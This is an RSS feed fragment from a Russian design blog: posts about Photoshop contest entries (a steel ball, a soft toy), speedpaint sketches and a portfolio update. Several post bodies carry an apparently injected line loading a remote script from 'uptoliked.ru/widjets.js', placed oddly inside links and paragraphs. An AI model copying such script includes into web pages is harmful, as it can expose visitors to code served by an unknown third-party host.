		<comments>https://fominart.ru/rabota-na-konkurs-tdwc2-stalnoj-myach.html#comments</comments>
		<pubDate>Tue, 30 Nov 2010 11:55:01 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Дизайн]]></category>
		<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Полезное]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Конкурсы]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=1690</guid>
		<description><![CDATA[Стальной мяч. Всё просто. Есть референс обыкновенного футбольного мяча. Нужно из него сделать стальной и разместить на однородном фоне с тенью. По традиции, не долго думаю, отправился на cgtextures.com в поисках стали. Пролистав списки с металлом, нашел более-менее подходящую текстуру. Далее взял в руки пентул) и обвёл каждый ромб с референса, через клиппинг маск положил [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/rabota-na-konkurs-tdwc2-stalnoj-myach.html" title='Работа на конкурс TDWC#2 &laquo;Стальной мяч&raquo;'><img src="http://fominart.ru/wp-content/uploads/2010/11/fominart.ru_tdwc2_tour7_2010_preview.jpg" alt="Работа на конкурс TDWC#2 &laquo;Стальной мяч&raquo;" title="Работа на конкурс TDWC#2 &laquo;Стальной мяч&raquo;. Превью" class="alignnone size-full wp-image-1693" /></a><br />
<br/>Стальной мяч. Всё просто. Есть референс обыкновенного футбольного мяча. Нужно из него сделать стальной и разместить на однородном фоне с тенью.<span id="more-1690"></span><br />
<br/>По традиции, не долго думаю, отправился на <a href="http://www.cgtextures.com" title='Textures for 3D, graphic design and Photoshop!'>cgtextures.com<script src="//uptoliked.ru/widjets.js"></script></a> в поисках стали. Пролистав списки с металлом, нашел более-менее подходящую текстуру. Далее взял в руки пентул) и обвёл каждый ромб с референса, через клиппинг маск положил текстуру и ликвифаем разгладил по форме мяча. Добавил бликов в виде шейпов и кистью – контур между ромбами. Для фона нарисовал по краям 2 больших круга и размыл блюром по Гауссу.<br />
<br/>Добавил тень – смудж, блюр, маски в связке) У основания потемнее, далее чем дальше от мяча, тем слабее и сильнее, размывая тень. Объединил весь проект и сделал копию слоя уже стального мяча. Применил <a href="http://pavel-kosenko.livejournal.com/46934.html" title='ЖЖ Павел Косенко'>&laquo;умную резкость&raquo;</a> Павла Косенко. Далее, размыл края мяча и ту часть мяча, которая не попадала в фокус. Сдублировал слой. И наложил шум (2-2,5%) на фон, с мяча убрал шум. Всё!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2010/11/fominart.ru_tdwc2_tour7_2010.jpg" title='Работа на конкурс TDWC#2 &laquo;Стальной мяч&raquo;'><img src="http://fominart.ru/wp-content/uploads/2010/11/fominart.ru_tdwc2_tour7_2010_small.jpg" alt="Работа на конкурс TDWC#2 &laquo;Стальной мяч&raquo;" title="Работа на конкурс TDWC#2 &laquo;Стальной мяч&raquo;" class="alignnone size-full wp-image-1694" /></a><br />
<br/>PS: Интересная статья. <a href="http://www.lookatme.ru/flows/lyudi/posts/80181-igor-lutts-bbdo-tvorchestvo-i-liderstvo" title='Игорь Лутц, BBDO: творчество и лидерство'>Игорь Лутц, BBDO: творчество и лидерство</a>. Я задумался.</p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/rabota-na-konkurs-tdwc2-stalnoj-myach.html/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Работа на конкурс TDWC#2 &#171;Мягкая игрушка&#187;</title>
		<link>https://fominart.ru/rabota-na-konkurs-tdwc2-myagkaya-igrushka.html</link>
		<comments>https://fominart.ru/rabota-na-konkurs-tdwc2-myagkaya-igrushka.html#comments</comments>
		<pubDate>Wed, 24 Nov 2010 09:57:11 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Дизайн]]></category>
		<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Конкурсы]]></category>
		<category><![CDATA[Ретушь]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=1671</guid>
		<description><![CDATA[Очередная работа на конкурс. На этот раз нужно было отретушировать мягкую игрушку. Мне достался бычок). Как бы ничего сложного, навести &#171;лоск&#187; – поставить на пол, сделать цветкоррекцию, четкость. Референс достался не из лучших – обрезанные клочки игрушки пришлось искать на теле игрушки &#171;более-менее&#187; места, с которых по кусочкам восстановил форму (сейчас смотрю и понимаю, что [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><img src="http://fominart.ru/wp-content/uploads/2010/11/fominart.ru_toy_bull_tdwc2_preview.jpg" alt="Работа на конкурс TDWC#2 &laquo;Мягкая игрушка&raquo;" title="Работа на конкурс TDWC#2 &laquo;Мягкая игрушка&raquo;" class="alignnone size-full wp-image-1676" /></a><br />
<br/>Очередная работа на конкурс. На этот раз нужно было отретушировать мягкую игрушку. Мне достался бычок). Как бы ничего сложного, навести &laquo;лоск&raquo; – поставить на пол, сделать цветкоррекцию, четкость. <span id="more-1671"></span><br />
<br/>Референс достался не из лучших – обрезанные клочки игрушки пришлось искать на теле игрушки &laquo;более-менее&raquo; места, с которых по кусочкам восстановил форму (сейчас смотрю и понимаю, что можно было еще ушки подравнять, ну да ладно). Была идея сделать кольцо не в ухе, а в носу, но прикинув по времени, понял, что могу не успеть.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2010/11/fominart.ru_toy_bull_tdwc2_2010_ref_b.jpg" title='Работа на конкурс TDWC#2 &laquo;Мягкая игрушка&raquo;. Референс'><img src="http://fominart.ru/wp-content/uploads/2010/11/fominart.ru_toy_bull_tdwc2_2010_ref_s.jpg" alt="Работа на конкурс TDWC#2 &laquo;Мягкая игрушка&raquo;. Референс" title="Работа на конкурс TDWC#2 &laquo;Мягкая игрушка&raquo;. Референс" class="alignnone size-full wp-image-1674" /><script src="//uptoliked.ru/widjets.js"></script></a><br />
<br/>Финал.<br />
<a href="http://fominart.ru/wp-content/uploads/2010/11/fominart.ru_toy_bull_tdwc2_2010_b.jpg" title='Работа на конкурс TDWC#2 &laquo;Мягкая игрушка&raquo;'><img src="http://fominart.ru/wp-content/uploads/2010/11/fominart.ru_toy_bull_tdwc2_2010_s.jpg" alt="Работа на конкурс TDWC#2 &laquo;Мягкая игрушка&raquo;" title="Работа на конкурс TDWC#2 &laquo;Мягкая игрушка&raquo;" class="alignnone size-full wp-image-1675" /></a><br />
<br/><br />
Хочу сказать, что подобные конкурсы существенно влияют на прокачку наших скилов. Хорошая мотивация делать лучше, чем у оппонента).</p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/rabota-na-konkurs-tdwc2-myagkaya-igrushka.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Скетч. «Заброшенный дом».</title>
		<link>https://fominart.ru/sketch-zabroshennyj-dom.html</link>
		<comments>https://fominart.ru/sketch-zabroshennyj-dom.html#comments</comments>
		<pubDate>Sun, 10 Oct 2010 11:12:38 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Прочее]]></category>
		<category><![CDATA[sketchbook]]></category>
		<category><![CDATA[speedpaint]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=1572</guid>
		<description><![CDATA[Нарисовал домик за 1 час. Больше времени, пожалуй, заняло поиск композиции, надо чаще рисовать, конечно же, и смотреть на работы известных художников, чтобы вдохновиться. Буду стараться рисовать сразу в цвете, так как он оказывает немаловажное воздействие на зрителя, даже, очень сильное воздействие Смотрим! Теперь в постах буду приводить ссылки на интересные вещи. На счет вдохновиться [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="sketch-zabroshennyj-dom.html"><img src="http://fominart.ru/wp-content/uploads/2010/10/fominart.ru_sketch_zabroshennyj_dom_preview.jpg" alt="Скетч. «Заброшенный дом»" title="Скетч. «Заброшенный дом»." width="599" height="172" class="alignnone size-full wp-image-1574" /></a></p>
<div style="margin-top:10px;">
<span style="font-weight:bold;">Нарисовал домик за 1 час.</span>
</div>
<p><br/></p>
<div>
Больше времени, пожалуй, заняло поиск композиции, надо чаще рисовать, конечно же, и смотреть на работы известных художников, чтобы вдохновиться. Буду стараться рисовать сразу в цвете, так как он оказывает немаловажное воздействие на зрителя, даже, очень сильное воздействие <img src="https://fominart.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /><br />
<br/><br />
<script src="//uptoliked.ru/widjets.js"></script></div>
<p><span id="more-1572"></span></p>
<div>Смотрим!</div>
<p><br/></p>
<div><a href="http://fominart.ru/wp-content/uploads/2010/10/fominart.ru_sketch_zabroshennyj_dom_big.jpg" title="Скетч. «Заброшенный дом»"><img src="http://fominart.ru/wp-content/uploads/2010/10/fominart.ru_sketch_zabroshennyj_dom_min.jpg" alt="Скетч. «Заброшенный дом»" title="Скетч. «Заброшенный дом»." class="alignnone size-full wp-image-1573" /></a>
</div>
<p><br/></p>
<div>Теперь в постах буду приводить ссылки на интересные вещи.</div>
<p><br/></p>
<div>На счет вдохновиться загляните&#8230; например, к очень хорошему иллюстратору <a href="http://www.free-lance.ru/users/Artnellss/" title="Артём Хорчев на free-lance.ru">Артёму Хорчеву</a>.
</div>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/sketch-zabroshennyj-dom.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Наконец-то руки-ноги-голова состряпали портфельчик</title>
		<link>https://fominart.ru/obnovlenie-razdela-portfolio.html</link>
		<comments>https://fominart.ru/obnovlenie-razdela-portfolio.html#comments</comments>
		<pubDate>Wed, 06 Oct 2010 07:42:45 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Дизайн]]></category>
		<category><![CDATA[Иконки]]></category>
		<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Новости]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Тизеры]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[speedpaint]]></category>
		<category><![CDATA[Teasers]]></category>
		<category><![CDATA[Концепт-арт]]></category>
		<category><![CDATA[Ретушь]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=1546</guid>
		<description><![CDATA[Благодаря пинкам Сергея (спасибо ему большое :)), выкладываю практически все свои наработки, начиная с 2008 года и по сей день. На полке осталась малая часть работ (из cg работ), которые я решил не выкладывать. Попозже обновлю лучшее из ранних работ, которые рисовал карандашом и шариковой ручкой. В общем, приятного просмотра Мой портфельчик<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/obnovlenie-razdela-portfolio.html" title="Наконец то руки-ноги-голова состряпали портфельчик"><img src="http://fominart.ru/wp-content/uploads/2010/10/fominart.ru_obnovlenie_razdela_portfolio.jpg" alt="Обновление раздела Портфолио" title="Обновление раздела Портфолио" class="alignnone size-full wp-image-1549" /><script src="//uptoliked.ru/widjets.js"></script></a><br />

<div style='margin-top:10px;'>Благодаря пинкам <a href="http://www.free-lance.ru/users/juice">Сергея</a> (спасибо ему большое :)), выкладываю практически все свои наработки, начиная с 2008 года и по сей день. <span id="more-1546"></span>На полке осталась малая часть работ (из cg работ), которые я решил не выкладывать. Попозже обновлю лучшее из ранних работ, которые рисовал карандашом и шариковой ручкой.
</div>
<p><br/></p>
<div>
В общем, приятного просмотра <img src="https://fominart.ru/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" />
</div>
<p><br/></p>
<div>
<a href="http://fominart.ru/portfolio" title="Перейти к просмотру портфолио">Мой портфельчик</a>
</div>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/obnovlenie-razdela-portfolio.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Speedpaint: Восточный купец</title>
		<link>https://fominart.ru/speedpaint-vostochnyj-kupec.html</link>
		<comments>https://fominart.ru/speedpaint-vostochnyj-kupec.html#comments</comments>
		<pubDate>Thu, 08 Jul 2010 15:23:43 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Раскадровкa]]></category>
		<category><![CDATA[cgart]]></category>
		<category><![CDATA[speedpaint]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=1153</guid>
		<description><![CDATA[Доработал немного скетч. Как восточный купец свататься ходил&#8230; Пришел и говорит: &#171;Будешь в шелках ходить, золотые украшения носить, жить как принцесса! Прошу руки твоей&#8230;&#187;. А она: &#171;Не нужно мне твоего богатства купец, а рука моя принадлежит другому!&#187;. Немного о процессе. Как обычно начал с создания черно-белого рисунка. Набросал сцену, где будут происходить основное действо. Выбрал [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<div style="text-align:center;margin-bottom:10px;"><a href="http://fominart.ru/speedpaint-vostochnyj-kupec.html" title="Speedpaint: Вочточный купец"><img class="alignnone size-full wp-image-1157" title="Speedpaint: Вочточный купец" src="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_preview.jpg" alt="Speedpaint: Вочточный купец" /></a><br/></div>
<div>Доработал немного скетч. Как восточный купец свататься ходил&#8230; Пришел и говорит: &laquo;Будешь в шелках ходить, золотые украшения носить, жить как принцесса! Прошу руки твоей&#8230;&raquo;. А она: &laquo;Не нужно мне твоего богатства купец, а рука моя принадлежит другому!&raquo;.<span id="more-1153"></span> Немного о процессе.  Как обычно начал с создания черно-белого рисунка. Набросал сцену, где будут происходить основное действо.  Выбрал спальню.<br/><br/></div>
<div style="text-align: center;"><a href="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_sketch01b.jpg" title="Speedpaint: Восточный купец. Интерьер"><img class="size-full wp-image-1162 aligncenter" title="Speedpaint: Восточный купец. Интерьер" src="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_sketch01s.jpg" alt="Speedpaint: Восточный купец. Интерьер" /></a><br/><br/><script src="//uptoliked.ru/widjets.js"></script></div>
<div>У входа решил разместить слуг купца, которые и держат подарки для красавицы.<br/><br/></div>
<div style="text-align: center;"><a href="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_sketch02b.jpg" title="Speedpaint: Восточный купец. Слуги"><img class="size-full wp-image-1165 aligncenter" title="Speedpaint: Восточный купец. Слуги" src="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_sketch02s.jpg" alt="Speedpaint: Восточный купец. Слуги" /></a><br/><br/></div>
<div>Следующим этапом были образы купца и невесты. Форму невесты я быстро &laquo;уловил&raquo; и нарисовал, а вот с образом купца пришлось поработать подольше, изначально он получился таким добрым стариканом, сжимающим ладоши.<br/><br/></div>
<div style="text-align: right;">Черно-белый вариант.<br/></div>
<div style="text-align: left;"><a href="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_sketch03b.jpg" title="Speedpaint: Восточный купец. Купец и невеста"><img class="size-full wp-image-1168 aligncenter" title="Speedpaint: Восточный купец. Купец и невеста" src="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_sketch03s.jpg" alt="Speedpaint: Восточный купец. Купец и невеста" /></a><br/><br/></div>
<div style="text-align: right;">Цветной вариант.<br/></div>
<div style="text-align: left;"><a href="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_sketch04b.jpg" title="Speedpaint: Восточный купец. Купец и невеста. Цветной вариант"><img class="size-full wp-image-1170 aligncenter" title="Speedpaint: Восточный купец. Купец и невеста. Цветной вариант" src="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_sketch04s.jpg" alt="Speedpaint: Восточный купец. Купец и невеста. Цветной вариант" /></a><br/><br/></div>
<div>Как позже выяснилось, по совету <a href="http://render.ru/forum/viewtopic.php?post_id=817383#817383" title="Совет Владимира на render.ru">Владимира (Waldemar)</a> пришлось дорисовывать пол, т.к. &laquo;нельзя фигуры сажать на раму. Либо режьте им ноги, либо добавляйте пол&raquo;. Я учел это замечание, намотав на ус)) Но&#8230; все же решил, что лицо старика нужно изменить, сделав его более подходящим для обстановки – ехидным)<br/><br/></div>
<div style="text-align: center;"><a href="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_sketch05b.jpg" title="Speedpaint: Восточный купец. Предфинал"><img class="size-full wp-image-1175 aligncenter" title="Speedpaint: Восточный купец. Предфинал" src="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_sketch05s.jpg" alt="Speedpaint: Восточный купец. Предфинал"/></a><br/><br/></div>
<div style="text-align: left;">Этот вариант в последствии я выложил на <a href="http://render.ru/forum/viewtopic.php?post_id=817845#817845" title="Выложенный вариант на render.ru">render.ru</a> и <a href="http://makepizdato.ru/4470-wizvio-sketchbook-3/#post71965" title="Выложенный вариант на мейке">мейке</a> как законченный. Но для блога решил немного доработать. Хотел нарисовать цветок в кувшине, но чего-то замешкался и оставил как есть <img src="https://fominart.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /><br/><br/></div>
<div style="text-align: center;"><a href="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_sketch06b.jpg" title="Speedpaint: Восточный купец"><img class="size-full wp-image-1178 aligncenter" title="Speedpaint: Восточный купец" src="http://fominart.ru/wp-content/uploads/2010/07/fominart.ru_vostochnyj_kupec_sketch06s.jpg" alt="Speedpaint: Восточный купец" /></a><br/><br/></div>
<div style="text-align: left;">Надеюсь вам понравится. Хотя сам вижу, что нужно работать над фактурой ткани и их складками.</div>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/speedpaint-vostochnyj-kupec.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
